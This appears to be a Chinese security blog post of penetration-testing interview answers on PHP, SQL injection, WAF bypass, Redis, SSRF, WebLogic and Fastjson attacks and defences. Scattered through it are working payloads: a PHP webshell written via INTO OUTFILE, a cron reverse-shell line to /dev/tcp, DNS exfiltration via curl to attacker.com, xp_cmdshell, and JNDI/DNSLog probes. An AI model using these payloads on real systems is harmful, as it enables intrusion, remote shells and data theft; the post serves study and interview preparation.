网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
远程文件包含(RFI)与本地文件包含(LFI)的PHP设置差异
WebLogic反序列化漏洞(CVE-2017-10271)
2025年渗透测试面试题总结-拷打题库36
php代码常见入口函数怎么找 有一些php的开发框架可以帮我们做一些url路由,对这些路由的方法熟悉吗 介绍下PHP的变量覆盖 有一个php的程序,本身就允许文件包含的操作,同时想要避免文件包含漏洞,写代码的时候要注意哪些 远程文件包含和本地文件包含,这两种涉及的php设置有什么 本地文件包含能不能通过php配置限制文件包含的路径(不通过代码直接通过配置项来解决) 写代码的时候怎么防止二次注入 讲一下最熟悉的三种web漏洞类型,原理,测试方式 SQL注入过滤单引号怎么绕过 mysql报错注入常用的函数 报错注入绕waf mysql写文件的函数有哪些 into outfile使用有哪些限制 sqlserver除了sql注入外还有什么渗透的方式 ssrf可以使用的伪协议 有了解过Redis RCE的过程吗 Redis未授权如何获得服务器权限 /etc/passwd文件包含哪些内容 二次注入要怎么修复 sql注入过waf了解吗,若一个sql注入过滤了information关键词,怎么绕过 命令执行漏洞,http不出网有什么比较好的处理方法(发散一点说) 介绍一次难度比较高的渗透测试 syn开放链接原理 shiro 如何绕 waf weblogic 如果在打站的时候,一旦遇到了 waf,第一个 payload 发过去,直接被拦截了, ip 也被 ban 了,如何进行下一步操作 jboss 反序列化原理 weblogic 反序列化原理,随便说一个漏洞,然后说触发原理 fastjson 怎么判断是不是有漏洞,原理是什么 fastjson 判断漏洞回显是怎么判断的,是用 dns 做回显还是其他的协议做,为什么 fastjson 高版本,无回显的情况,如何进行绕过,为什么可以这样绕过
PHP代码常见入口函数查找
- 入口文件定位
- 默认入口:
index.php
、admin.php
等常见入口文件,通常包含路由分发逻辑。- 框架入口:如Laravel的
public/index.php
,ThinkPHP的index.php
。- 路由配置:检查
.htaccess
或web.config
中的URL重写规则,确定请求如何映射到PHP脚本。- 全局函数追踪
- 超全局变量:
$_GET
、$_POST
、$_REQUEST
的参数接收点。- 框架路由方法:如Laravel的
Route::get()
,ThinkPHP的$this->display()
。- 危险函数触发点
- 文件包含:
include
、require
的参数是否可控。- 动态代码执行:
eval()
、call_user_func()
的调用链分析。
PHP框架路由方法熟悉度
- 路由定义方式
- 静态路由:如
Route::get('/user', 'UserController@index')
。- 动态路由:
/user/{id}
,参数通过控制器方法接收。- 闭包路由:匿名函数处理请求,需检查闭包内的逻辑安全。
- 路由解析漏洞
- ThinkPHP 5.x RCE:路由参数未过滤导致代码执行(如
s=/index/\think\app/invokefunction
)。- Laravel路由注入:动态路由参数未验证导致路径遍历。
- 安全配置检查
- 中间件防护:验证身份验证中间件(如
auth
)是否覆盖敏感路由。- CSRF保护:检查路由是否豁免CSRF验证(如
VerifyCsrfToken
白名单)。
PHP变量覆盖漏洞
- 漏洞原理
- extract()函数:从数组导入变量到符号表,若参数可控可覆盖全局变量。
- parse_str()函数:解析查询字符串到变量,未初始化变量可被覆盖。
- **变量动态赋值**:如`foreach($_GET as $key => $value) { key = $value; }`。
- 利用场景
- 覆盖配置变量:如
$is_admin = 0
被覆盖为1
,绕过权限检查。- 绕过认证逻辑:修改
$_SESSION
或$_COOKIE
中的用户标识。- 修复方案
- 禁用危险函数:避免使用
extract()
,改用明确变量赋值。- 初始化变量:使用前对变量赋默认值,如
$is_admin = isset($_POST['admin']) ? 0 : 1
。
文件包含漏洞防御
- 代码层防御
- 白名单限制:仅允许包含指定目录文件(如
include './lib/' . $file . '.php'
)。- 动态参数过滤:检查文件名是否包含
../
或协议(如php://
)。- 配置层防御
- 禁用高危协议:
php.ini
中设置allow_url_include=Off
。- 限制包含路径:
open_basedir
设置为项目目录,阻止跨目录访问。- 逻辑层防御
- 文件后缀固定:拼接固定后缀(如
.php
),避免包含非PHP文件。- 文件存在性验证:包含前检查文件是否存在(如
file_exists()
)。
远程文件包含(RFI)与本地文件包含(LFI)的PHP设置差异
- RFI相关配置
- allow_url_fopen:控制是否允许打开远程文件(默认On)。
- allow_url_include:控制是否允许包含远程文件(默认Off)。
- LFI相关配置
- open_basedir:限制文件操作范围,但可能被绕过(如
/proc/self/environ
)。- disable_functions:禁用
realpath()
等函数,防止路径解析绕过。- 协议影响
- RFI协议:
http://
、ftp://
需allow_url_include
开启。- LFI协议:
file://
、php://filter
受open_basedir
限制。
本地文件包含路径限制(PHP配置)
- open_basedir
- 作用:限制PHP可访问的目录(如
open_basedir=/var/www/html
)。- 绕过:利用
/proc/self/cwd
或/proc/self/fd
访问其他目录。- disable_functions
- 禁用函数:如
realpath()
、symlink()
,防止符号链接攻击。- 目录权限
- 文件所有权:确保Web用户(如
www-data
)无权访问敏感目录(如/etc
)。
防止二次注入
- 输入过滤
- 统一转义:使用预处理语句或参数化查询,而非手动转义。
- 数据类型强制:如
intval()
处理数字型参数。- 存储层防御
- 数据存储规范化:入库前统一转义,出库时保持原始数据。
- ORM框架:使用Eloquent或Doctrine,自动处理参数绑定。
- 代码审计
- 追踪数据流:检查数据从存储到输出的全流程是否一致转义。
- 自动化测试:通过SQLMap的
--second-order
参数测试二次注入点。
最熟悉的三种Web漏洞类型
- SQL注入
- 原理:用户输入拼接至SQL语句,导致恶意查询执行。
- 测试:
' OR 1=1--
测试布尔盲注,SLEEP(5)
测试时间盲注。- 防御:预编译语句(PDO)、输入过滤(如
preg_replace
)。- XSS(跨站脚本)
- 原理:用户输入未转义输出到HTML,导致脚本执行。
- 测试:
<script>alert(1)</script>
测试反射型XSS。- 防御:输出转义(
htmlspecialchars
)、CSP策略。- 文件上传漏洞
- 原理:未校验文件类型/内容,上传恶意文件(如
.php
)。- 测试:上传
.php
文件,尝试绕过MIME类型检查。- 防御:白名单后缀、文件内容检测(如
exif_imagetype()
)。
SQL注入过滤单引号绕过
- 编码绕过
- URL编码:
%27
代替单引号,%2527
双重编码绕过。- 十六进制编码:
0x27
表示单引号(如SELECT * FROM users WHERE id=0x27
)。- 宽字节注入
- 原理:GBK编码中
%df%27
转为合法字符,绕过转义('
→�'
)。- 利用:
id=1%df%27 AND 1=1--
。- 二次注入
- 场景:入库时转义,出库时拼接导致单引号生效。
- 测试:注册用户名为
admin'--
,后续查询触发注入。
MySQL报错注入常用函数
- updatexml()
- 用法:
updatexml(1,concat(0x7e,(SELECT user())),1)
,利用XPath错误回显数据。- extractvalue()
- 用法:
extractvalue(1,concat(0x7e,(SELECT database())))
,原理类似updatexml
。- floor()
- 用法:通过
COUNT()
和GROUP BY
触发主键重复错误(如SELECT COUNT(*),CONCAT((SELECT user()),0x7e,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x
)。
报错注入绕WAF
- 函数替换
- 替代函数:用
exp()
代替updatexml()
(如exp(~(SELECT * FROM (SELECT user())a))
)。- 分块传输
- HTTP分块:将请求拆分为多个块,绕过WAF正则检测。
- 注释混淆
- 内联注释:
/*!50000SELECT*/
绕过黑名单过滤。
MySQL写文件函数
- INTO OUTFILE
- 用法:
SELECT '<?php eval($_POST[1]);?>' INTO OUTFILE '/var/www/shell.php'
。- DUMPFILE
- 特点:写入二进制文件(如图片、二进制后门)。
- SELECT ... INTO变量
- 限制:需
secure_file_priv
为空,且MySQL有写权限。
INTO OUTFILE使用限制
- 权限限制
- MySQL用户权限:需具备
FILE
权限,且secure_file_priv
非NULL
。- 路径限制
- secure_file_priv:若设置为
/tmp
,则只能写入该目录。- 文件覆盖
- 文件存在性:若目标文件已存在,写入会失败。
SQL Server其他渗透方式
- xp_cmdshell
- 利用:启用并执行系统命令(如
EXEC xp_cmdshell 'whoami'
)。- 链接服务器攻击
- 横向移动:通过
OPENROWSET
访问其他数据库服务器。- CLR集成
- 自定义程序集:加载恶意.NET程序执行系统命令。
SSRF可用的伪协议
- file://
- 利用:读取本地文件(如
file:///etc/passwd
)。- dict://
- 利用:探测端口服务(如
dict://127.0.0.1:6379/info
)。- gopher://
- 利用:构造HTTP请求攻击内网服务(如Redis未授权访问)。
Redis RCE过程
- 写入SSH公钥
- 步骤:通过
config set dir
设置目录,set
写入公钥到authorized_keys
。- Web目录写Shell
- 步骤:设置目录为Web根路径,写入PHP后门。
- 主从复制利用
- 步骤:伪造恶意Redis主节点,同步恶意模块(如
.so
文件)。
Redis未授权获取权限
- 信息泄露
- 执行命令:
INFO
获取服务器信息,KEYS *
遍历数据库键。- 写定时任务
- 步骤:
config set dir /var/spool/cron
,写入*/1 * * * * bash -i >& /dev/tcp/ip/port 0>&1
。- Lua沙箱绕过
- 利用CVE:如CVE-2022-0543(Debian特定漏洞)执行系统命令。
/etc/passwd文件内容
- 用户账户信息
- 格式:
username:x:UID:GID:description:/home/dir:/bin/bash
。- 特殊用户
- root:UID=0,拥有最高权限。
- 服务账户:如
mysql
、www-data
,无登录Shell。
二次注入修复方法
- 数据存储规范化
- 转义存储:入库时对特殊字符转义(如
addslashes()
)。- 输出上下文转义
- 动态转义:根据输出位置(HTML、SQL、JSON)使用不同转义方法。
- ORM框架使用
- 参数化查询:避免手动拼接SQL,如使用Eloquent的
where()
方法。
SQL注入过WAF(过滤information关键词)
- 大小写混淆
- 绕过:
InFoRmaTiOn_schema.tables
。- 注释分割
- 绕过:
infoorrmation/**/_schema
。- 等价替换
- 替代表:使用
mysql.innodb_table_stats
代替information_schema
。
命令执行漏洞HTTP不出网处理
- DNS外带数据
- 利用:
curl http://$(whoami).attacker.com
。- ICMP隧道
- 工具:使用
icmpsh
或ping -p
携带数据。- 日志写入
- 步骤:将命令结果写入Web日志,通过访问日志读取。
高难度渗透测试案例
- 目标环境
- 场景:某金融系统,具备WAF、IDS、多因素认证。
- 突破路径
- 钓鱼攻击:伪造登录页窃取OTP,绕过多因素认证。
- WAF绕过:分块传输+注释混淆绕过SQL注入检测。
- 内网横向
- 利用漏洞:通过Exchange SSRF(CVE-2021-26855)进入内网。
SYN开放端口扫描原理
- 三次握手
- SYN扫描:发送SYN包,若收到SYN-ACK则认为端口开放,不完成握手(RST终止)。
- 隐蔽性
- 无连接记录:半开放扫描不建立完整连接,日志中不易被发现。
- 工具实现
- Nmap命令:
nmap -sS 192.168.1.1
。
Shiro绕WAF方法
- 密钥爆破
- 原理:Shiro硬编码密钥,使用已知密钥生成恶意RememberMe Cookie。
- 加密模式绕过
- AES-CBC:利用Padding Oracle攻击解密或加密恶意序列化数据。
- 流量混淆
- HTTP头伪装:将Cookie拆分到多个头字段,绕过正则匹配。
WebLogic遭遇WAF拦截的后续操作
- 流量分析
- 捕获特征:分析WAF拦截规则(如User-Agent、Payload长度)。
- 协议转换
- HTTP/HTTPS切换:尝试HTTPS绕过明文检测。
- 延迟与分块
- 慢速攻击:降低发包速率,绕过频率检测。
- 分块传输:拆解Payload为多个块,绕过正则匹配。
JBoss反序列化原理
- JMXInvokerServlet
- 漏洞点:未授权访问
/invoker/JMXInvokerServlet
,接收序列化数据。- 利用链
- 库依赖:
org.jboss.invocation.MarshalledValue
触发Gadget链。- 修复方案
- 删除Servlet:移除
invoker
目录或配置访问控制。
WebLogic反序列化漏洞(CVE-2017-10271)
- 漏洞原理
- XML解析:
wls-wsat
组件接收恶意XML数据,触发WorkContext
反序列化。- 利用链
- Gadget链:利用
com.sun.rowset.JdbcRowSetImpl
触发JNDI注入。- 防御措施
- 删除组件:移除
wls-wsat
相关文件,或限制访问IP。
Fastjson漏洞检测
- 版本识别
- 响应头特征:
X-Serialized-Json
头或异常错误信息。- DNS探测
- Payload:
{"@type":"java.net.Inet4Address","val":"dnslog.cn"}
。- 报错回显
- 触发异常:构造不存在的类名,观察是否暴露类路径信息。
Fastjson漏洞回显判断
- DNSLog
- 原理:利用JNDI加载远程类触发DNS查询(如
ldap://dnslog.cn/exp
)。- HTTP请求
- 回显:通过
java.net.URL
类发起HTTP请求携带数据。- 延迟检测
- 时间盲注:构造
Thread.sleep()
判断是否存在漏洞。
Fastjson高版本无回显绕过
- 内存马注入
- 利用链:结合Tomcat Filter/Servlet注入内存Shell。
- 本地文件写入
- 写Web目录:通过
java.io.FileWriter
写入JSP后门。- 异步线程加载
- 延迟触发:利用
java.util.TimerTask
延迟执行恶意代码绕过检测。